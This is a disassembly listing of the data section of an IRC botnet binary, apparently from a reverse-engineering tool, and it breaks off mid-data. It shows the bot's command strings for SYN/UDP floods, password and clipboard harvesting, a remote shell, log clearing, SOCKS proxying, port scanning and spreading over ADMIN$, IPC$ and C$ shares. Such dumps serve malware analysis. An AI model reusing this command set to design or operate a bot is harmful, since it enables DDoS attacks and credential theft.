aIrc_v		db 'irc.v',0            ; DATA XREF: sub_40EE72+1C6Fo
		align 4
aIrc_visit	db 'irc.visit',0        ; DATA XREF: sub_40EE72+1C58o
		align 4
aCom_fl		db 'com.fl',0           ; DATA XREF: sub_40EE72+1C41o
		align 10h
aCom_filelist	db 'com.filelist',0     ; DATA XREF: sub_40EE72+1C2Ao
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40EE72+1C13o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40EE72+1BFCo
aCom_del	db 'com.del',0          ; DATA XREF: sub_40EE72+1BE5o
aCom_delete	db 'com.delete',0       ; DATA XREF: sub_40EE72+1BCEo
		align 4
aCom_pkid	db 'com.pkid',0         ; DATA XREF: sub_40EE72+1BB7o
		align 10h
aCom_prockillid	db 'com.prockillid',0   ; DATA XREF: sub_40EE72+1BA0o
		align 10h
aCom_kpn	db 'com.kpn',0          ; DATA XREF: sub_40EE72+1B89o
aCom_killprocna	db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o
		align 4
aIrc_dn		db 'irc.dn',0           ; DATA XREF: sub_40EE72+1B5Bo
		align 4
aIrc_dns	db 'irc.dns',0          ; DATA XREF: sub_40EE72+1B44o
aIrc_se		db 'irc.se',0           ; DATA XREF: sub_40EE72+1B2Do
		align 4
aIrc_setserve	db 'irc.setserve',0     ; DATA XREF: sub_40EE72+1B16o
		align 4
aCom_o		db 'com.o',0            ; DATA XREF: sub_40EE72+1AFFo
		align 4
aCom_open	db 'com.open',0         ; DATA XREF: sub_40EE72+1AE8o
		align 4
aIrc_pr		db 'irc.pr',0           ; DATA XREF: sub_40EE72+1AD1o
		align 10h
aIrc_prefix	db 'irc.prefix',0       ; DATA XREF: sub_40EE72+1ABAo
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40EE72+1AA3o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40EE72+1A8Co
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40EE72+1A75o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40EE72+1A5Eo
		align 4
aThreads_k	db 'threads.k',0        ; DATA XREF: sub_40EE72+1A47o
		align 4
aThreads_kill	db 'threads.kill',0     ; DATA XREF: sub_40EE72+1A30o
		align 4
aIrc_ra		db 'irc.ra',0           ; DATA XREF: sub_40EE72+1A19o
		align 10h
aIrc_raw	db 'irc.raw',0          ; DATA XREF: sub_40EE72+1A02o
aIrc_pt		db 'irc.pt',0           ; DATA XREF: sub_40EE72+19EBo
		align 10h
aIrc_part	db 'irc.part',0         ; DATA XREF: sub_40EE72+19D4o
		align 4
aIrc_j		db 'irc.j',0            ; DATA XREF: sub_40EE72+19BDo
		align 4
aIrc_join	db 'irc.join',0         ; DATA XREF: sub_40EE72+19A6o
		align 10h
aIrc_n		db 'irc.n',0            ; DATA XREF: sub_40EE72+198Fo
		align 4
aIrc_nick	db 'irc.nick',0         ; DATA XREF: sub_40EE72+1978o
		align 4
aSa		db 'sa',0               ; DATA XREF: sub_40EE72+1952o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_40EE72+193Do
aCom_fp		db 'com.fp',0           ; DATA XREF: sub_40EE72+1928o
		align 4
aCom_findpass	db 'com.findpass',0     ; DATA XREF: sub_40EE72+1913o
		align 4
aDaemon_tf_on	db 'daemon.tf.on',0     ; DATA XREF: sub_40EE72+18FEo
		align 4
aDaemon_tftp_on	db 'daemon.tftp.on',0   ; DATA XREF: sub_40EE72+18E9o
		align 4
aDaemon_web_on	db 'daemon.web.on',0    ; DATA XREF: sub_40EE72+18D4o
		align 4
aDaemon_httpd_o	db 'daemon.httpd.on',0  ; DATA XREF: sub_40EE72+18BFo
aDaemon_rl_on	db 'daemon.rl.on',0     ; DATA XREF: sub_40EE72+18AAo
		align 4
aDaemon_rlogi_0	db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o
		align 4
aRoot_cip	db 'root.cip',0         ; DATA XREF: sub_40EE72+1880o
		align 4
aRoot_currentip	db 'root.currentip',0   ; DATA XREF: sub_40EE72+186Bo
		align 4
aUtil_fdns	db 'util.fdns',0        ; DATA XREF: sub_40EE72+1856o
		align 10h
aUtil_flushdns	db 'util.flushdns',0    ; DATA XREF: sub_40EE72+1841o
		align 10h
aUtil_farp	db 'util.farp',0        ; DATA XREF: sub_40EE72+182Co
		align 4
aUtil_flusharp	db 'util.flusharp',0    ; DATA XREF: sub_40EE72+1817o
		align 4
aCom_gc		db 'com.gc',0           ; DATA XREF: sub_40EE72+1802o
		align 4
aCom_getclip	db 'com.getclip',0      ; DATA XREF: sub_40EE72+17EDo
dword_437E50	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+17DDo
		dd 2BBBB02h
aLoginListCompl	db '  Login list complete.',0
		align 10h
aD_S		db '%d. %s',0           ; DATA XREF: sub_40EE72+17A9o
					; sub_416E17+46o
		align 4
aEmpty		db '<Empty>',0          ; DATA XREF: sub_40EE72+179Co
aLoginList	db '-[Login List]-',0   ; DATA XREF: sub_40EE72+177Ao
		align 10h
aIrc_who	db 'irc.who',0          ; DATA XREF: sub_40EE72+1761o
aCmd		db '[CMD]',0            ; DATA XREF: sub_40EE72+1756o
		align 10h
aRemoteShell	db 'Remote shell',0     ; DATA XREF: sub_40EE72+1751o
		align 10h
aCom_ocmd_off	db 'com.ocmd.off',0     ; DATA XREF: sub_40EE72+1738o
		align 10h
aCom_ocmd	db 'com.ocmd',0         ; DATA XREF: sub_40EE72+1723o
		align 4
aCom_opencmd	db 'com.opencmd',0      ; DATA XREF: sub_40EE72+170Eo
aCom_dll	db 'com.dll',0          ; DATA XREF: sub_40EE72+16F9o
aCom_testdlls	db 'com.testdlls',0     ; DATA XREF: sub_40EE72+16E4o
		align 10h
aCom_drv	db 'com.drv',0          ; DATA XREF: sub_40EE72+16CFo
aCom_driveinfo	db 'com.driveinfo',0    ; DATA XREF: sub_40EE72+16BAo
		align 4
aCom_up		db 'com.up',0           ; DATA XREF: sub_40EE72+16A5o
		align 10h
aCom_uptime	db 'com.uptime',0       ; DATA XREF: sub_40EE72+1690o
		align 4
aCom_key	db 'com.key',0          ; DATA XREF: sub_40EE72+167Bo
aCom_harvest	db 'com.harvest',0      ; DATA XREF: sub_40EE72+1666o
aCom_ps		db 'com.ps',0           ; DATA XREF: sub_40EE72+1651o
		align 4
aCom_procs	db 'com.procs',0        ; DATA XREF: sub_40EE72+163Co
		align 4
aIrc_rm0	db 'irc.rm0',0          ; DATA XREF: sub_40EE72+1627o
aIrc_rem0ve	db 'irc.rem0ve',0       ; DATA XREF: sub_40EE72+1612o
		align 4
aCom_si		db 'com.si',0           ; DATA XREF: sub_40EE72+15FDo
		align 10h
aCom_sysinfo	db 'com.sysinfo',0      ; DATA XREF: sub_40EE72+15E8o
unk_437F7C	db    2			; DATA XREF: sub_40EE72+15DDo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_28	db ' Failed to start flood thread, error: <%d>.',0
		align 4
unk_437FC8	db    2			; DATA XREF: sub_40EE72+156Eo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	75h, 70h
		db  65h	; e
		db 72h,	73h, 79h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSFo_1	db ' Flooding: (%s:%s) for %s seconds.',0
aDdos_supersyn	db 'ddos.supersyn',0    ; DATA XREF: sub_40EE72+14D8o
		align 4
aCom_ni		db 'com.ni',0           ; DATA XREF: sub_40EE72+14C3o
		align 10h
aCom_netinfo	db 'com.netinfo',0      ; DATA XREF: sub_40EE72+14AEo
aUtil_clg	db 'util.clg',0         ; DATA XREF: sub_40EE72+1499o
		align 4
aUtil_clearlog	db 'util.clearlog',0    ; DATA XREF: sub_40EE72+1484o
		align 4
aIrc_lg		db 'irc.lg',0           ; DATA XREF: sub_40EE72+146Fo
		align 10h
aIrc_log	db 'irc.log',0          ; DATA XREF: sub_40EE72+145Ao
aIrc_al		db 'irc.al',0           ; DATA XREF: sub_40EE72+1445o
		align 10h
aIrc_aliases	db 'irc.aliases',0      ; DATA XREF: sub_40EE72+1430o
aThreads_l	db 'threads.l',0        ; DATA XREF: sub_40EE72+141Bo
		align 4
aThreads_list	db 'threads.list',0     ; DATA XREF: sub_40EE72+1406o
		align 4
dword_438088	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13D2o
		dd 2BBBB02h
aFailedToReboot	db '  Failed to reboot system.',0
		align 4
dword_4380BC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+13CBo
		dd 2BBBB02h
aRebootingSyste	db '  Rebooting system.',0
aCom_rebewt	db 'com.rebewt',0       ; DATA XREF: sub_40EE72+13B4o
		align 4
aIrc_i		db 'irc.i',0            ; DATA XREF: sub_40EE72+139Fo
		align 4
aIrc_id		db 'irc.id',0           ; DATA XREF: sub_40EE72+138Ao
		align 4
aIrc_s		db 'irc.s',0            ; DATA XREF: sub_40EE72+1375o
		align 4
aIrc_status	db 'irc.status',0       ; DATA XREF: sub_40EE72+1360o
		align 4
aIrc_q		db 'irc.q',0            ; DATA XREF: sub_40EE72+134Bo
		align 10h
aIrc_quit	db 'irc.quit',0         ; DATA XREF: sub_40EE72+1336o
		align 4
aIrc_d		db 'irc.d',0            ; DATA XREF: sub_40EE72+1321o
		align 4
aIrc_disconnect	db 'irc.disconnect',0   ; DATA XREF: sub_40EE72+130Co
		align 4
aIrc_r		db 'irc.r',0            ; DATA XREF: sub_40EE72+12F7o
		align 4
aIrc_reconnect	db 'irc.reconnect',0    ; DATA XREF: sub_40EE72+12E2o
		align 4
aRoot_st	db 'root.st',0          ; DATA XREF: sub_40EE72+12CDo
aRoot_stats	db 'root.stats',0       ; DATA XREF: sub_40EE72+12B8o
		align 10h
aExploitation	db 'Exploitation',0     ; DATA XREF: sub_40EE72+12ADo
		align 10h
aScan		db 'Scan',0             ; DATA XREF: sub_40EE72+12A8o
		align 4
aRoot_stop	db 'root.stop',0        ; DATA XREF: sub_40EE72+128Fo
		align 4
dword_438194	dd 65027302h, 1F727563h, 2E2E1F65h, 0 ;	DATA XREF: sub_40EE72+1284o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_40EE72+127Fo
		align 4
aLockdown_stop	db 'lockdown.stop',0    ; DATA XREF: sub_40EE72+1266o
		align 4
dword_4381BC	dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ;	DATA XREF: sub_40EE72+125Bo
aClone		db 'Clone',0            ; DATA XREF: sub_40EE72+1256o
		align 4
aClone_off	db 'clone.off',0        ; DATA XREF: sub_40EE72+123Do
		align 10h
aCom_ps_off	db 'com.ps.off',0       ; DATA XREF: sub_40EE72+1228o
		align 4
aCom_procs_off	db 'com.procs.off',0    ; DATA XREF: sub_40EE72+1213o
		align 4
aUtil_ff_off	db 'util.ff.off',0      ; DATA XREF: sub_40EE72+11FEo
aUtil_findfile_	db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o
		align 4
dword_43821C	dd 66027402h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+11DEo
aDaemon_tftp_of	db 'daemon.tftp.off',0  ; DATA XREF: sub_40EE72+11C0o
dword_438238	dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o
dword_438244	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o
dword_438250	dd 736F6464h, 6E69702Eh, 666F2E67h, 66h	; DATA XREF: sub_40EE72+1197o
dword_438260	dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co
dword_43826C	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o
dword_438278	dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+116Eo
dword_438288	dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o
dword_438294	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo
dword_4382A0	dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ;	DATA XREF: sub_40EE72+1145o
dword_4382B0	dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao
dword_4382BC	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o
dword_4382C8	dd 736F6464h, 66666F2Eh, 0 ; DATA XREF:	sub_40EE72+111Co
dword_4382D4	dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o
dword_4382E4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_40EE72+110Co
aProxy_redirect	db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o
		align 4
dword_438308	dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o
dword_438314	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_40EE72+10E3o
dword_438320	dd 2E676F6Ch, 66666Fh	; DATA XREF: sub_40EE72+10CAo
dword_438328	dd 74026802h, 641F7074h, 2E2E1Fh ; DATA	XREF: sub_40EE72+10C2o
dword_438334	dd 6D656164h, 772E6E6Fh, 6F2E6265h, 6666h ; DATA XREF: sub_40EE72+10A4o
dword_438344	dd 6C027202h, 6E69676Fh, 2E1F641Fh, 2Eh	; DATA XREF: sub_40EE72+109Co
aDaemon_rlogin_	db 'daemon.rlogin.off',0 ; DATA XREF: sub_40EE72+107Eo
		align 4
dword_438368	dd 6F027302h, 1F736B63h, 2E2E1F34h, 0 ;	DATA XREF: sub_40EE72+105Co
aServer		db 'Server',0           ; DATA XREF: sub_40EE72+1057o
					; sub_40EE72+1097o ...
		align 10h
aProxy_socks4_0	db 'proxy.socks4.off',0 ; DATA XREF: sub_40EE72+103Eo
		align 4
aProxy_s4_on	db 'proxy.s4.on',0      ; DATA XREF: sub_40EE72+1029o
aProxy_socks4_o	db 'proxy.socks4.on',0  ; DATA XREF: sub_40EE72+1014o
aLd_off		db 'ld.off',0           ; DATA XREF: sub_40EE72+FFFo
		align 4
aLockdown_off	db 'lockdown.off',0     ; DATA XREF: sub_40EE72+FEAo
		align 4
aLd_on		db 'ld.on',0            ; DATA XREF: sub_40EE72+FD5o
		align 10h
aLockdown_on	db 'lockdown.on',0      ; DATA XREF: sub_40EE72+FC0o
aVer		db 'ver',0              ; DATA XREF: sub_40EE72+FABo
aIrc_version	db 'irc.version',0      ; DATA XREF: sub_40EE72+F96o
aLo		db 'lo',0               ; DATA XREF: sub_40EE72+F81o
		align 10h
aIrc_logout	db 'irc.logout',0       ; DATA XREF: sub_40EE72+F6Co
		align 4
aIrc_di		db 'irc.di',0           ; DATA XREF: sub_40EE72+F57o
		align 4
aIrc_die	db 'irc.die',0          ; DATA XREF: sub_40EE72+F42o
aRn		db 'rn',0               ; DATA XREF: sub_40EE72+F2Do
		align 10h
aIrc_rndnick	db 'irc.rndnick',0      ; DATA XREF: sub_40EE72+F15o
a63		db '63',0               ; DATA XREF: sub_40EE72+DEEo
		align 10h
asc_438420:				; DATA XREF: sub_40EE72+DC6o
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_40EE72+D89o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_40EE72+D7Eo
aRndnick	db '$rndnick',0         ; DATA XREF: sub_40EE72+D6Do
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_40EE72+D51o
		align 4
aUser_2		db '$user',0            ; DATA XREF: sub_40EE72+D40o
		align 10h
aMe_0		db '$me',0              ; DATA XREF: sub_40EE72+D2Eo
aD		db '$%d',0              ; DATA XREF: sub_40EE72+CC0o
aD_0		db '$%d-',0             ; DATA XREF: sub_40EE72+C05o
		align 10h
aC_1:					; DATA XREF: sub_40EE72+B19o
		unicode	0, <c>,0
dword_438464	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AE4o
		dd 2BBBB02h
aChatFailedByUn	db '  Chat failed by unauthorized user: %s.',0
dword_4384A4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AD6o
		dd 2BBBB02h
aChatAlreadyAct	db '  Chat already active with user: %s.',0
		align 4
dword_4384E4	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+AC8o
		dd 2BBBB02h
aFailedToSta_29	db '  Failed to start chat thread, error: <%d>.',0
dword_438528	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+A59o
		dd 2BBBB02h
aChatFromUserS_	db '  Chat from user: %s.',0
		align 4
aChat		db 'CHAT',0             ; DATA XREF: sub_40EE72+9BFo
		align 10h
dword_438560	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+99Co
		dd 2BBBB02h
aReceiveFileSFa	db '  Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
dword_4385B0	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+984o
					; sub_40EE72+4ABCo
		dd 2BBBB02h
aFailedToSta_30	db '  Failed to start transfer thread, error: <%d>.',0
dword_4385F8	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_40EE72+973o
		dd 0A0Dh
dword_438610	dd 4E495001h, 47h	; DATA XREF: sub_40EE72+93Fo
aSHasJustVersio	db '%s has just versioned me.',0 ; DATA XREF: sub_40EE72+8F9o
		align 4
dword_438634	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_40EE72+8DCo
		dd 0D017325h, 0Ah
dword_438650	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_40EE72+8ABo
dword_43865C	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+791o
		dd 2BBBB02h
aReceiveFileSFr	db '  Receive file: ',27h,'%s',27h,' from user: %s.',0
aSend_0		db 'SEND',0             ; DATA XREF: sub_40EE72+6E8o
		align 10h
dword_4386A0	dd 43434401h, 0		; DATA XREF: sub_40EE72+6CAo
dword_4386A8	dd 323333h		; DATA XREF: sub_40EE72+651o
					; sub_40EE72+B4Fo ...
dword_4386AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5D2o
		dd 2BBBB02h
aUserSLoggedOut	db '  User: %s logged out.',0
		align 4
dword_4386DC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+5ABo
		dd 2BBBB02h
aJoinedChanne_0	db '  Joined channel: %s.',0
		align 4
a353		db '353',0              ; DATA XREF: sub_40EE72+574o
aPart		db 'PART',0             ; DATA XREF: sub_40EE72+526o
					; sub_40EE72+5EFo
		align 4
aSS_1		db ':%s%s',0            ; DATA XREF: sub_40EE72+4FEo
		align 10h
aNick		db 'NICK',0             ; DATA XREF: sub_40EE72+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+371o
					; sub_40EE72+613o
dword_438738	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40EE72+355o
					; sub_40EE72+5FF2o ...
		dd 2BBBB02h
aUserSLoggedO_0	db '  User %s logged out.',0
		align 4
aKick		db 'KICK',0             ; DATA XREF: sub_40EE72+2E4o
		align 10h
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+28Do
					; sub_40EE72+4EB5o ...
		align 4
a433		db '433',0              ; DATA XREF: sub_40EE72+262o
a@:					; DATA XREF: sub_40EE72+23Ao
		unicode	0, <@>,0
a302		db '302',0              ; DATA XREF: sub_40EE72+22Ao
a005		db '005',0              ; DATA XREF: sub_40EE72+215o
a001		db '001',0              ; DATA XREF: sub_40EE72+200o
aJoinSS		db 'JOIN %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40EE72+1E4o
					; sub_40EE72+3B7o ...
		align 10h
aPongS		db 'PONG %s',0Dh,0Ah,0  ; DATA XREF: sub_40EE72+1C3o
		align 4
aPing		db 'PING',0             ; DATA XREF: sub_40EE72+1A9o
		align 4
asc_4387B4:				; DATA XREF: sub_40EE72+19Ao
					; sub_40EE72+60F9o
		unicode	0, <!>,0
asc_4387B8	db ' :',0               ; DATA XREF: sub_40EE72+86o
					; sub_40EE72:loc_40FA19o
		align 4
aSD_0		db ' %s (%d)',0         ; DATA XREF: sub_415188+120o
		align 4
unk_4387C8	db    2			; DATA XREF: sub_415339:loc_4153C0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListFai	db 'Process list failed.',0
		align 10h
unk_438800	db    2			; DATA XREF: sub_415339+80o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aProcessListCom	db 'Process list completed.',0
unk_438838	db    2			; DATA XREF: sub_415339+19o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aListingProcess	db 'Listing processes:',0
		align 4
dword_43886C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547E+1E9o
		dd 2029671Fh, 2BBBB02h
aUserLoggedOutS	db '  User logged out: <%s@%s>.',0
dword_4388A4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547E+1C2o
		dd 2029671Fh, 2BBBB02h
aErrorSessionru	db '  Error: SessionRun(): <%d>.',0
		align 10h
dword_4388E0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547E+1A2o
		dd 2029671Fh, 2BBBB02h
aUserLoggedInS@	db '  User logged in: <%s@%s>.',0
		align 4
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: sub_41547E+172o
		align 4
dword_43892C	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41547E+E1o
		dd 2029671Fh, 2BBBB02h
aErrorGetpeerna	db '  Error: getpeername(): <%d>.',0
		align 4
dword_438968	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_415683:loc_4156C8o
		dd 2029671Fh, 2BBBB02h
aProtocolString	db '  Protocol string too long.',0
dword_4389A0	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_4156DD+1Bo
		dd 2029671Fh, 2BBBB02h
aLoginRejectedR	db '  Login rejected, Remote user: <%s@%s>.',0
dword_4389E4	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41570C+219o
		dd 2029671Fh, 2BBBB02h
aErrorServerF_0	db '  Error: server failed, returned: <%d>.',0
dword_438A28	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41570C+1FBo
		dd 2029671Fh, 2BBBB02h
aFailedToSta_31	db '  Failed to start client thread, error: <%d>.',0
		align 4
dword_438A74	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41570C+177o
		dd 2029671Fh, 2BBBB02h
aClientConnec_2	db '  Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
dword_438AC8	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41570C+106o
		dd 2029671Fh, 2BBBB02h
aReadyAndWaitin	db '  Ready and waiting for incoming connections.',0
		align 4
dword_438B14	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41570C+70o
		dd 2029671Fh, 2BBBB02h
aFailedToInstal	db '  Failed to install control-C handler, error: <%d>.',0
dword_438B64	dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh
					; DATA XREF: sub_41570C+3Do
		dd 2029671Fh, 2BBBB02h,	72452020h, 3A726F72h, 41535720h
		dd 72617453h, 28707574h, 3C203A29h, 2E3E6425h, 0
aConst		db 'const',0
		align 4
		dd 0
dword_438BAC	dd 1			; DATA XREF: sub_415CFF+7o
off_438BB0	dd offset sub_415994	; DATA XREF: sub_415CFF+49r
aLetter		db 'letter',0
		align 10h
		dd 2, 4159F2h, 706D6F63h, 2 dup(0)
		dd 3, 415A3Fh, 6E756F63h, 797274h, 0
		dd 4, 415ADDh, 736Fh, 2	dup(0)
		dd 5, 415B52h
dword_438C04	dd 69257325h, 0		; DATA XREF: sub_415994+40o
					; _0:00415ABEo	...
byte_438C0C	db 50h			; DATA XREF: _0:00415A61o _0:00415A6Er
		db 43h,	2 dup(0)
dword_438C10	dd 7C7325h		; DATA XREF: _0:00415B0Co
					; sub_415CFF+39o
dword_438C14	dd 5D73255Bh, 7Ch	; DATA XREF: _0:00415C16o
dword_438C1C	dd 334B32h		; DATA XREF: _0:00415C06o
dword_438C20	dd 5D64255Bh, 7325h	; DATA XREF: sub_415C5C+3Ao
dword_438C28	dd 5D4D5Bh		; DATA XREF: sub_415C5C+2Co
					; sub_415C5C+57o
unk_438C2C	db    2			; DATA XREF: sub_415D68+92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOp_0	db '  IP: %s Port: %d is open.',0
unk_438C64	db    2			; DATA XREF: sub_415E35+41o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanningIpSPor	db '  Scanning IP: %s, Port: %d.',0
		align 10h
off_438CA0	dd offset dword_438CD8	; DATA XREF: sub_415F86+1B3o
					; sub_4162AA+17Ao
		align 8
		dd offset dword_438CD0
		align 10h
off_438CB0	dd offset dword_438CCC	; DATA XREF: sub_4162AA+1E3o
		dd offset dword_438CC8
		dd offset dword_438CC4
		dd offset dword_438CC0
dword_438CC0	dd 5C3A44h		; DATA XREF: sub_415F86+217o
					; _2:00438CBCo
dword_438CC4	dd 2444h		; DATA XREF: _2:00438CB8o
dword_438CC8	dd 5C3A43h		; DATA XREF: _2:00438CB4o
dword_438CCC	dd 2443h		; DATA XREF: _2:off_438CB0o
dword_438CD0	dd 494D4441h, 244Eh	; DATA XREF: _2:00438CA8o
dword_438CD8	dd 24435049h, 0		; DATA XREF: _2:off_438CA0o
unk_438CE0	db    2			; DATA XREF: sub_415F86+2E5o
					; sub_4162AA+2DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; 
		db 0BBh, 2, 20h
aNetapi32_dllCo	db ' Netapi32.dll couldn',27h,'t be loaded.',0
		align 10h
unk_438D20	db    2			; DATA XREF: sub_415F86+2CFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
